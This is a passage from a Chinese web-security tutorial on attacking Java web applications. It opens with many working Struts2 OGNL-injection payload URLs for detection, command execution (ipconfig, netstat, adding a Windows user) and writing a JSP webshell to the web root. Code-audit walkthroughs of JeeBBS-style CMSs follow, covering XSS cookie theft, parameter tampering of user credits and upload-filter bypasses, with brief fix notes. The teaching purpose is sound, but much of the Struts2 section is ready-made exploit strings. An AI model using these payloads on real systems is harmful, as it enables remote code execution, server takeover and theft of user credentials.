result, asType); 最终执行: F8 放过页面输出[/ok]: 解密 Struts2 的“神秘”的 POC: 第 124 页 在 S2-016 出来之后 Struts2 以前的 POC 拿着也没什么用了,因为 S2-016 的威力已经大 到让百度、企鹅、京东叫唤了。挑几个简单的具有代表性的讲下。在连续不断的看了这么多 坑爹的概念以后不妨见识一下 Struts2 的常用 POC。 回显 POC(快速检测是否存在(有的 s2 版本无法输出),看见输出[/ok]就表示存在): POC1: http://127.0.0.1/Struts2/test.action? ('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b) (('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c') (('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g) (('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2) (('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99) (('\43xman.getWriter().close()')(d)) POC2(类型转换漏洞需要把 POC 加在整型参数上): http://127.0.0.1/Struts2/test.action?id= '%2b( %23_memberAccess[%22allowStaticMethodAccess%22]=true, @org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22) )%2b' POC3(需要注意这里也必须是加载一个 String(字符串类型)的参数后面,使用的时候把 URL 里面的两个 foo 替换成目标参数(注意 POC 里面还有个 foo)): http://127.0.0.1/Struts2/hello.action?foo= (%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Bool ean(false), %23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true), @org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22) )&z[(foo)('meh')]=true POC4: http://127.0.0.1/Struts2/hello.action? class.classLoader.jarPath=( %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Bool ean(false), %23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true, %23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(), %23s3cur1ty.println(%22[/ok]%22), %23s3cur1ty.close() )(aa)&x[(class.classLoader.jarPath)('aa')] POC5: 第 125 页 http://127.0.0.1/Struts2/hello.action? a=1${ %23_memberAccess[%22allowStaticMethodAccess%22]=true, %23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%2 2[/ok]%22 ),%23response.close()} POC6: http://127.0.0.1/Struts2/ $%7B%23_memberAccess[%22allowStaticMethodAccess%22]=true, %23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(), %23resp.println(%22[ok]%22),%23resp.close()%7D .action POC7: http://localhost/Struts2/test.action? redirect:${ %23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWrit er(),%23w.println('[/ok]'), %23w.flush(),%23w.close() } @org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22) 其实是静态调用 ServletActionContext 上面已经讲过了 ServletActionContext 能够拿到真正的 HttpServletRequest、HttpServletResponse、ServletContext 忘记了的回头看去。拿到一个 HttpServletResponse 响应对象后就可以调用 getWriter 方法(返回的是 PrintWriter)让 Servlet 容器上输出[/ok]了,而其他的 POC 也都做了同样的事:拿到 HttpServletResponse,然后输 出[/ok]。其中的 allowStaticMethodAccess 在 Struts2 里面默认是 false,也就是默认不允许静 态方法调用。 精确判断是否存在(延迟判断): POC1: http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b) (('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_me mberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thre ad@sleep(5000)')(d)) POC2: http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess %22]=true,@java.lang.Thread@sleep(5000))%2b' 第 126 页 POC3: http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMeth odExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowSt aticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000 ))(meh%29&z[%28foo%29%28%27meh%27%29]=true POC4: http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.Metho dAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberA ccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sle ep(5000))(aa)&x[(class.classLoader.jarPath)('aa')] POC5: http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%2 2]=true,@java.lang.Thread@sleep(5000)} POC6: http://127.0.0.1/Struts2/${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.la ng.Thread@sleep(5000)}.action 之前很多的利用工具都是让线程睡一段时间再去计算时间差来判断漏洞是否存在。这样 比之前的回显更靠谱,缺点就是慢。而实现这个 POC 的方法同样是非常的简单其实就是静 态调用 java.lang.Thread.sleep(5000)就行了。而命令执行原理也是一样的。 命令执行 POC: 关于回显:webStr\75new\40byte[100] 修改为合适的长度。 POC1: http://127.0.0.1/Struts2/test.action? ('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b) (('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c') (('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g) (('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h) (('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%2 2))')(d))&(i) (('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())' )(d))&(i01) (('\43webStr\75new\40byte[100]')(d))&(i1) 第 127 页 (('\43webRootzproreader.readFully(\43webStr)')(d))&(i111) ('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2) (('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2) (('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95) (('\43xman.getWriter().println(\43webStr12)')(d))&(i99) (('\43xman.getWriter().close()')(d))& cmd=cmd%20/c%20ipconfig POC2: http://127.0.0.1/Struts2/test.action?id= '%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true, %23req=@org.apache.struts2.ServletActionContext@getRequest(), %23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)), %23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()), %23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer), %23result=new%20java.lang.String(%23buffer), %23response=@org.apache.struts2.ServletActionContext@getResponse(), %23response.getWriter().println(%23result) )%2b'& cmd=cmd%20/c%20ipconfig POC3: http://127.0.0.1/freecms/login_login.do? user.loginname=( %23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boole an(false), %23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true), %23req=@org.apache.struts2.ServletActionContext@getRequest(), %23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)), %23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()), %23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer), %23result=new%20java.lang.String(%23buffer), %23response=@org.apache.struts2.ServletActionContext@getResponse(), %23response.getWriter().println(%23result) )&z[(user.loginname)('meh')]=true& cmd=cmd%20/c%20set POC4: http://127.0.0.1/Struts2/test.action? class.classLoader.jarPath=( 第 128 页 %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Bool ean(false), %23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true, %23req=@org.apache.struts2.ServletActionContext@getRequest(), %23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInpu tStream(), %23b=new+java.io.InputStreamReader(%23a), %23c=new+java.io.BufferedReader(%23b), %23d=new+char%5b50000%5d,%23c.read(%23d), %23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(), %23s3cur1ty.println(%23d), %23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]& cmd=cmd%20/c%20netstat%20-an POC5: http://127.0.0.1/Struts2/hello.action?a= 1${%23_memberAccess[%22allowStaticMethodAccess%22]=true, %23req=@org.apache.struts2.ServletActionContext@getRequest(), %23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)), %23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()), %23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer), %23result=new%20java.lang.String(%23buffer), %23response=@org.apache.struts2.ServletActionContext@getResponse(), %23response.getWriter().println(%23result), %23response.close()}& cmd=cmd%20/c%20set POC7: http://localhost/struts2-blank/example/HelloWorld.action? redirect:${ %23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(), %23b%3d%23a.getInputStream(), %23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c), %23e%3dnew char[50000],%23d.read(%23e), %23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), %23matt.getWriter().println(%23e), %23matt.getWriter().flush(), %23matt.getWriter().close() } 其实在Java里面要去执行一个命令的方式都是一样的,简单的静态调用方式 第 129 页 java.lang.Runtime.getRuntime().exec("net user selina 123 /add");就可以执行任意命令了。Exec 执行后返回的类型是java.lang.Process。Process是一个抽象类,final class ProcessImpl extends Process也是Process的具体实现。而命令执行后返回的Process可以通过 public OutputStream getOutputStream() 和 public InputStream getInputStream() 直接输入输出流,拿到InputStream之后直接读取就能够获取到命令执行的结果了。而 在Ognl里面不能够用正常的方式去读取流,而多是用DataInputStream的readFully或 BufferedReader的read方法全部读取或者按byte读取的。因为可能会读取到半个中文字符,所 以可能会存在乱码问题,自定义每次要读取的大小就可以了。POC当中的/c 不是必须的,执 行dir之类的命令可以加上。 Process java.lang.Runtime.exec(String command) throws IOException GetShell POC: poc1: 第 130 页 http://127.0.0.1/Struts2/test.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh )=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023fo o')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\43req\75@org.apache.str uts2.ServletActionContext@getRequest()')(d))&(i12)(('\43xman\75@org.apache.struts2.ServletAc tionContext@getResponse()')(d))&(i13)(('\43xman.getWriter().println(\43req.getServletContext() .getRealPath(%22\u005c%22))')(d))&(i2)(('\43fos\75new\40java.io.FileOutputStream(new\40java .lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@java.io.File@separator).appe nd(%22css3.jsp%22).toString())')(d))&(i3)(('\43fos.write(\43req.getParameter(%22p%22).getBytes ())')(d))&(i4)(('\43fos.close()')(d))&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+ja va.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%2 2))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e POC2(类型转换漏洞需要把 POC 加在整型参数上): http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess %22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.Buffer edWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(% 23req.getParameter(%22p%22)).close())%2b'%20&p=%3c%25if(request.getParameter(%22f%22)! %3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getPar ameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e POC3(需要注意这里也必须是加载一个 String(字符串类型)的参数后面,使用的时候把 URL 里面的两个 foo 替换成目标参数(注意 POC 里面还有个 foo)): http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMeth odExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowSt aticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%23req=@org.apache.struts2.S ervletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.g etRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())(m eh%29&z[%28foo%29%28%27meh%27%29]=true&p=%3c%25if(request.getParameter(%22f%22) !%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getPa rameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e POC4: http://127.0.0.1/Struts2/hello.action? class.classLoader.jarPath=( %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Bool ean(false), %23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true, %23req=@org.apache.struts2.ServletActionContext@getRequest(), new+java.io.BufferedWriter( new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22) 第 131 页 ).append( %23req.getParameter(%22p%22) ).close() (aa)&x[(class.classLoader.jarPath)('aa')]& p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(applicat ion.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParamet er(%22t%22).getBytes())%3b%25%3e POC5: http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%2 2]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.Buffered Writer(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23r eq.getParameter(%22p%22)).close()}&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(ne w+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22 f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e POC7: http://localhost/Struts2/test.action?redirect:${ %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"), new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22 c%22)).close() }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(applic ation.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParam eter(%22t%22).getBytes())%3b%25%3e 比如 POC4 当中首先就是把 allowStaticMethodAccess 改为 trute 即允许静态方法访问。 然后再获取请求对象,从请求对象中获取网站项目的根路径,然后在根目录下新建一个 css3.jsp,而 css3.jsp 的内容同样来自于客户端的请求。POC4 中的 p 就是传入的参数,只要 获取 p 就能获取到内容完成文件的写入了。之前已经说过 Java 不是动态的脚本语言,所以 没有 eval。不能像 PHP 那样直接用 eval 去动态执行,所以 Java 里面没有真正意义上的一句 话木马。菜刀只是提供了一些常用的一句话的功能的具体的实现,所以菜刀的代码会很长, 因为这些代码在有 eval 的情况下是可以通过发送请求的形式去构造的,在这里就必须把代 码给上传到服务器去编译成执行。 Struts2 漏洞修补: 关于修补仅提供思路,具体的方法和补丁不提供了。Struts2 默认后缀是 action 或者不 写后缀,有的改过代码的可能其他后缀如.htm、.do,那么我们只要拦截这些请求进行过滤 就行了。 1、 从 CDN 层可以拦截所有 Struts2 的请求过滤 OGNL 执行代码 2、 从 Server 层在请求 Struts2 之前拦截其 Ognl 执行。 3、 在项目层面可以在 struts2 的 filter 加一层拦截 第 132 页 4、 在 Struts2 可以用拦截器拦截 5、 在 Ognl 源码包可以拦截恶意的 Ognl 请求 6、 实在没办法就打补丁 7、 终极解决办法可以考虑使用其他 MVC 框架 第 133 页 攻击 JavaWeb 应用[6] -架构与代码审计 -园长 MM 注:不管多么强大的系统总会有那么些安全问题,影响小的可能仅仅只会影响用户体验,危害性大点的可能会让攻击者 获取到服务器权限。这一节重点是怎样去找到并利用问题去获取一些有意思的东西。 Before: 有 MM 的地方就有江湖,有程序的地方就有漏洞。现在已经不是 SQL 注入漫天的年代了, Java 的一些优秀的开源框架让其项目坚固了不少。在一个中大型的 Web 应用漏洞的似乎永 远都存在,只是在于影响的大小、发现的难易等问题。有很多比较隐晦的漏洞需要在了解业 务逻辑甚至是查看源代码才能揪出来。JavaWeb 跟 PHP 和 ASP 很大的不同在于其安全性相对 来说更高。但是具体体现在什么地方?JavaWeb 开发会有那些问题?这些正是我们今天讨论 的话题。 1、 JavaWeb 开发概念 Java 的分层思想 通过前面几章的介绍相信已经有不少的朋友对 Jsp、Servlet 有一定了解了。上一节讲 MVC 的有说的 JSP+Servlet 构成了性能好但开发效率并不高的 Model2。在 JavaWeb 开发当中 一般会分出很多的层去做不同的业务。 常见的分层: 1、 展现层(View 视图) 2、 控制层(Controller 控制层) 3、 服务层(Service) 4、 实体层(entity 实体对象、VO(value object) 值对象 、模型层(bean)。 5、 业务逻辑层 BO(business object) 6、 持久层(dao- Data Access Object 数据访问层、PO(persistant object) 持久对象) 依赖关系: 在了解一个项目之前至少要知道它的主要业务是什么主要的业务逻辑和容易出现问题 的环节。其次是了解项目的结构和项目当中的类依赖。再次才是去根据业务模块去读对应的 代码。从功能去关联业务代码入手往往比逮着段代码就看效率高无数倍。 前几天在 Iteye 看到一款不错的生成项目依赖图的工具- Structure101,试用了下 Structure101 感觉挺不错的,不过是收费的而且价格昂贵。用 Structure101 生成 Jeebbs 的项 目架构图: 第 134 页 Structure101 导入 jeebss 架构图-包调用: 第 135 页 Structure101 包调用详情: Structure101 可以比较方便的去生成类关系图、调用图等。Jeebbs 项目比较大,逻辑相 对复杂,不过可以看下我的半成品的博客系统。 项目图: 第 136 页 架构图: 控制层: 调用流程(demo 还没处理异常,最好能 try catch 下用上面的 logger 记录一下): 第 137 页 2、 漏洞发掘基础 Eclipse 采用的是 SWT 编写,俗称万能 IDE 拥有各种语言的插件可以写。Myeclipse 是 Eclipse 的插件版,功能比 eclipse 更简单更强大。 导入 Web 项目到 Myeclipse,Myeclipse 默认提供了主流的 Server 可以非常方便的去部 署你的 Web 项目到对应的 Server 上,JavaWeb 容器异常之多,而 ASP、 PHP 的容器却相对 较少。容器可能除了开发者有更多的选择外往往意味着需要调试程序在不同的 Server 半桶 的版本的表现,这是让人一件非常崩溃的事。 调试开源的项目需下载源码到本地然后导入部署,如果没有源代码怎么办?一般情况下 JavaWeb 程序不会去混淆代码,所以通过之前的反编译工具就能够比较轻松的拿到源代码。 但是反编译过来的源代码并不能够直接作用于 debug。不过对我们了解程序逻辑和结构有了 非常大的帮助,根据逻辑代码目测基本上也能完成 debug。 第 138 页 在上一节已经讲过了一个客户端的请求到达服务器端后,后端会去找到这个 URL 所在 的类,然后调用业务相关代码完成请求的处理,最后返回处理完成后的内容。跟踪请求的方 式一般是先找到对应的控制层,然后深入到具体的逻辑代码当中。另一种方法是事先到 dao 或业务逻辑层去找漏洞,然后逆向去找对应的控制层。最直接的如 model1、model2 并不用 那么费劲直接代码在 jsp、servlet 代码里面就能找到一大堆业务逻辑。 1、按业务类型有序测试 普通的测试一般都是按功能和模块去写测试的用例,即按照业务一块一块去测试对应的 功能。这一种方式是顺着了 Http 请求跟踪到业务逻辑代码,相对来说比较简单方便,而且 逻辑会更加的清晰。 上面的架构图和包截图不知道有没有同学仔细看,Java 里面的包的概念相对来说比较严 禁。公认的命名方式是 com/org.公司名.项目名.业务名全小写如:org.javaweb.ylog.dao 部署到 服务器上对应的文件夹应当是/WEB-INF/classes/org/javaweb/ylog/dao/其中的.意味着一级目 录。 现在知道了包和分层规范要找到控制层简直就是轻而易举了,一般来说找到Controller 或者Action所在的包的路径就行了。左边是jeebbs右边是我的blog,其中的action下和controller 下的都是控制层的方法。@RequestMapping("/top.do")表示了直接把请求映射到该方法 上,Struts2略有不同,需要在xml配置一个action对应的处理类方法和返回的页面。不过这暂 时不是我们讨论的话题,我们需要知道隐藏在框架背后的请求入口的类和方法在哪。 用例图: 第 139 页 1、 用户注册问题 用户逻辑图: 容易出现的问题: 1、没有校验用户唯一性。 第 140 页 2、校验唯一性和存储信息时拼 Sql 导致 Sql 注入。 3、用户信息(用户名、邮箱等)未校验格式有效性,可能导致存储性 xss。 4、头像上传漏洞。 5、用户类型注册时可控导致注册越权(直接注册管理员帐号)。 6、注册完成后的跳转地址导致 xss。 1、Jeebbs 邮箱逻辑验证漏洞: 注册的 URL 地址是:http://localhost/jeebbs/register.jspx, register.jspx 很明显是控制层映射 的 URL,第一要务是找到它。然后看他的逻辑。 Tips:Eclipse 全局搜索关键字方法 根据搜索结果找到对应文件: 第 141 页 根据结果找到对应的public class RegisterAct类,并查看对应逻辑代码: 找到控制层的入口后即可在对应的方法内设上断点,然后发送请求到控制层的URL 进入Debug模式。 注册发送数据包时用Tamper data拦截并修改请求当中的email为xss攻击代码。 第 142 页 选择任意对象右键Watch即可查看对应的值(任意完整的,有效的对象包括方法执行)。 F6单步执行。 第 143 页 F5进入validateSubmit: F6跟到125行注册调用: 第 144 页 F3可以先点开registerMember类看看: 找到接口实现类即最终的注册逻辑代码: 第 145 页 2、Jeebbs 危险的用户名注册漏洞 Jeebbs 的数据库结构当中用户名长度过长:`username` varchar(100) NOT NULL COMMENT '用户名',这会让你想到了什么? 当用户名的输入框失去焦点后会发送 Ajax 请求校验用户名唯一性。请输入一个长度介 于 3 和 20 之间的字符串。也就是说满足这个条件并且用户名不重复就行了吧?前端是有 用户名长度判断的,那么后端代码呢?因为我已经知道了用户名长度可以存 100 个字符,所 以如果没有判断格式的话直接可以注册 100 个字符的用户名。首先输入一个合法的用户名完 成客户端的唯一性校验请求,然后在点击注册发送数据包的时候拦截请求修改成需要注册的 xss 用户名,逻辑就不跟了跟上面的邮箱差不多,想像一下用户名可以 xss 是多么的恐怖。 任何地方只要出现粗线下 xss 用户名就可以轻易拿到别人的 cookie。 第 146 页 3、Cookie 明文存储安全问题: 代码没有任何加密就直接 setCookie 了,如果说 cookie 明文储存用户帐号密码不算漏洞 的话等会弹出用户明文密码不知道是算不算漏洞。 4、个性签名修改为 xss,发帖后显示个性签名处可 xss 因为个性签名会在帖子里显示,所以回帖或者发帖就会触发 JS 脚本了。这里说一下默 认不记住密码的情况下(不设置 cookie)不能够拿到 cookie 当中的明文密码,这个漏洞用来 打管理员 PP 挺不错的。不应该啊,起码应该过滤下。 第 147 页 5、不科学的积分漏洞 积分兑换方法如下: @RequestMapping(value = "/member/creditExchange.jspx") public void creditExchange(Integer creditIn, Integer creditOut, Integer creditOutType, Integer miniBalance, String password, HttpServletRequest request, HttpServletResponse response) {} 可以看到这里直接用了 SpringMvc 注入参数,而这些参数恰恰是控制程序逻辑的 关键。比如构建如下 URL,通过 GET 或者 POST 方式都能恶意修改用户的积分: http://localhost/jeebbs/member/creditExchange.jspx?creditIn=26&credi tOut=-27600&creditOutType=1&miniBalance=-10000000&password=wooyun 因为他的逻辑是这么写的: if(user.getPoint()-creditOut>miniBalance){ balance=true; }else{ flag=1; } 从 User 对象里面取出积分的数值,而积分兑换威望具体需要多少是在确定兑换关 系后由 ajax 去后台计算出来的,提交的时候也没有验证计算的结果有没有被客户端改 过。其中的 creditOut 和 miniBalance 都是我们可控的。所以这个等式不管在什么情 况下我们都可以让它成立。 第 148 页 6、打招呼 XSS 逻辑有做判断:1、用户名为空。2、不允许发送消息给自己。3、用户名不存在。 在控制层并没有做过滤: 在调用com.jeecms.bbs.manager.impl. BbsMessageMngImpl.java 的sendMsg 方法的时候依 旧没有过滤。到最终的 BbsMessageDaoImpl 的 save 方法还是没有过滤就直接储存了; 一般性的做法,关系到用户交互的地方最好做 referer 和 xss 过滤检测,控制层负责收集 数据的同时最好处理下用户的请求,就算 controller 不处理起码在 service 层做下处理吧。 第 149 页 7、发布投票贴 xss 发布一片投票帖子,标题 xss 内容。 8、邮箱的两处没有验证 xss 9、个人资料全部 xss 10、投稿打管理员后台点击查看触发 11、搜索 xss http://demo.jeecms.com/search.jspx?q=%2F%3E%3Cscript%3Ealert%28document.cookie%29%3 B%3C%2Fscript%3Ehello&channelId= 漏洞 N……… 第 150 页 2、 按程序实现逆向测试 1、”逆向”找 SQL 注入 SQL注入理论上是最容易找的,因为SQL语句的特殊性只要Ctrl+H 搜索select、from 等关 键字就能够快速找到项目下所有的SQL语句,然后根据搜索结果基本上都能够确定是否存在 SQL注入。凡是SQL语句中出现了拼SQL(如select * from admin where id=’”+id+”’)那么基本 上80%可以确定是SQL注入。但也有特例,比如拼凑的SQL参数并不受我们控制,无法在前台 通过提交SQL注入语句的方式去控制最终的查询SQL。而采用预编译?占位方式的一般不存在 注入。 比如搜索51javacms项目当中的SQL语句: Tips:ORM框架特殊性 1、Hibernate HQL: 需要注意的是Hibernate的HQL是对对象进行操作,所以它的SQL可能是: String hql = "from Emp"; Query q = session.createQuery(hql); 也可以 String hql = "select count(*) from Emp"; Query q = session.createQuery(hql); 甚至是 String hql = "select new Emp(e.empno,e.ename) from Emp e "; Query q = session.createQuery(hql); 第 151 页 2、 Mybatis(Ibatis3.0后版本叫Mybatis): Ibatis、Mybatis的SQL语句可以基于注解的方式写在类方法上面,更多的是以xml的方 式写到xml文件。 第 152 页 在当前项目下搜索SQL语句关键字,查找疑似SQL注入的调用: 进入搜索结果的具体逻辑代码: 第 153 页 最外层的Contrller: “逆向”找到控制层URL以后构建的SQL注入请求: 可能大家关注的代码审计最核心的怎么去发掘SQL注入这样高危的漏洞,其次是XSS等类型 的漏洞。 小结: 1、 学会怎样Debug 2、 学会了怎样通过从控制层到最终的数据访问层的代码跟踪和从数据访问层倒着找到控制层 的入口。 3、 学会怎样去分析功能模块的用例。 第 154 页 3、文件上传、下载、编辑漏洞 文件上传漏洞即没有对上传的文件的后缀进行过滤,导致任意文件上传。有的时候就算 有后缀判断,但是由于解析漏洞造成 GETSHELL 这是比较难避免的。 1、没有做任何限制的上传漏洞: 这一种是不需要任何绕过直接就可以上传任意脚本威胁性可想而知。 第 155 页 2、Bypass 白名单和黑名单限制 某些时候就算做了后缀验证我们一样可以通过查看验证的逻辑代码找到绕过方式。第 35、36 行分别定义了白名单和黑名单后缀列表。41 到 46 行是第一种通过黑名单方式校验 后缀合法性。47 到 57 行代码是第二种通过白名单方式去校验后缀合法性。现在来瞧下上诉 代码都有那些方式可以 Bypass。 1、 假设 37 行代码的 upload 不是在代码里面写死了而是从客户端传入的参数,那么可以自 定义修改 path 把文件传到当前 server 下的任意路径。 2、 第 39 行犯下了个致命的错误,因为文件名里面可以包含多个”.”而”xxxxx”.indexOf(“.”)取到 的永远是第一个”.”,假设我们的文件名是 1.jpg.jsp 即可绕过第一个黑名单校验。 3、 第 42 行又是另一个致命错误 s.equals(fileSuffix)比较是不区分大小写假设我们提交 1.jSP 即可突破验证。 4、 第 50 行同样是一个致命的错误,直接用客户端上传的文件名作为最终文件名,可导致 多个漏洞包括解析漏洞和上面的 1.jpg.jsp 上传漏洞。 第 156 页 文件上传漏洞修复方案: 1、 文件上传的目录必须写死 2、 把原来的 fileName.indexOf(".")改成 fileName.lastIndexOf(".") 3、s.equals(fileSuffix)改成 s.equalsIgnoreCase(fileSuffix) 即忽略大小写或者把前面的 fileSuffix 字符转换成小写:s.equals(fileSuffix.toLowerCase()) 3、文件下载漏洞 51JavaCms 典型的文件下载漏洞,我们不妨看下其逻辑为什么会存在漏洞。51javacms 并没有用流行的 SSH 框架而是用了 Servlert3.0 自行做了各种封装,实现了各种漏洞。Ctrl+H 搜索 DownLoadFilePage 找到下载的 Servlet: 改装了下 51javacms 的垃圾代码: 第 157 页 请求不存在的文件: 跨目录请求一个存在的文件: 第 158 页 4、文件编辑漏洞 JeeCms 之前的后台就存在任意文件编辑漏洞(JEECMS 后台任意文件编辑漏洞 and 官方 漏洞及拿 shell :http://wooyun.org/bugs/wooyun-2010-04030)官方的最新的修复方式是把 path 加了 StartWith 验证。 4、基于 Junit 高级测试 Junit 写单元测试这个难度略高需要对代码和业务逻辑有比较深入的了解,只是简单的 提下,有兴趣的朋友可以自行了解。 JUnit 是由 Erich Gamma 和 Kent Beck 编写的一个回归测试框架(regression testing framework)。Junit 测试是程序员测试,即所谓白盒测试,因为程序员知道被测试的软件如 何(How)完成功能和完成什么样(What)的功能。Junit 是一套框架,继承 TestCase 类, 就可以用 Junit 进行自动测试了。 第 159 页 5、其他 1、通过查看 Jar 包快速定位 Struts2 漏洞。 比如直接打开lerxCms的lib目录: 第 160 页 2、报错信息快速确认 Server 框架 类型转换错误: Struts2: 3、二次校验逻辑漏洞 比如修改密保邮箱业务只做了失去焦点唯一性校验,但是在提交的时候听没有校验唯一性 4、隐藏在 Select 框下的邪恶 Select 下拉框能有什么漏洞?一般人我不告诉他,最常见的有 select 框 Sql 注入、存储 性 xss 漏洞。搜索注入的时候也许最容易出现注入的地方不是搜索的内容,而是搜索的条件! Discuz select 下拉框存储也有类型的问题,但 Discuz 对 Xss 过滤较严未造成 xss: 第 161 页 下拉框的 Sql 注入: 第 162 页 小结: 本节不过是漏洞发掘审计的冰山一角,很多东西没法一次性写出来跟大家分享。本系列 完成后公布 ylog 博客源码。本节源代码暂不发布,如果需要源码站内。 第 163 页 攻击 JavaWeb 应用[7]-Server 篇[1] -园长 MM 1、 java 应用服务器 Java 应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器 很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。 1.1 常见的 Server 概述 常见的 Java 服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application Server、 ColdFusion、Apusic Application Server、Sun Application Server 、Oracle9i/AS、Sun Java System Application Server。 Myeclipse 比较方便的配置各式各样的 